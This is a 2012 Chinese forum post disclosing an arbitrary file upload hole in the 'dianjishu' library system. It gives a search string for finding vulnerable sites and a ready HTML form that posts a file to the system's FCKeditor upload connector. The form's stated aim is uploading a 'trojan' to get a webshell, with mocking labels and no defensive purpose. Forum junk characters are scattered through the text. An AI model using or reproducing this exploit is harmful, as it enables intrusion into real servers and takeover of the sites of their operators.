主题:图书馆系统任意文件上传漏洞! P0 ], Z! ~3 J% a. p
作者:冰锋刺客
( r. J/ E0 ~" I$ ~ 厂商:点击书(dianjishu.com)# V: s6 z# j1 @8 \! H% v8 z$ w; f
日期:2012-6-21
' j& c- b) T# k3 O" c( e3 S! P! u / I/ O$ F- ^& I( T# D) b, W' C
I 概述: \/ S- i; \- {6 j; a* K! u
点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell) X" ?0 c( m! m* [
II 简介: {0 o: a$ ~3 }+ v4 n' G
关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"& V! E+ B" R; v6 l, ~
补充一个漏洞
. ?( d K- V4 p/ r <form id="frmUpload" enctype="multipart/form-data"9 {: o3 S; x. r; g ?
action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>+ I4 N+ B7 e+ W% t0 Z5 X, c( T
<input id="btnUpload" type="submit" value="操翻他">* J9 `$ F& ^. g- D
</form>5 \ V; [; E5 s% T
你们懂的
+ P0 H: \& ~5 p- x( p$ j ] 那傻逼提供还需要改包.8 Q% R! }% \/ G* N+ l
自己看了下源代码发现fckeditor0 h" o. a5 d7 l/ g5 Z: w, Q
直接秒杀$ P$ p8 `( A; Q! v7 [
|
发表于 2012-9-10 21:20:59
收藏
支持
反对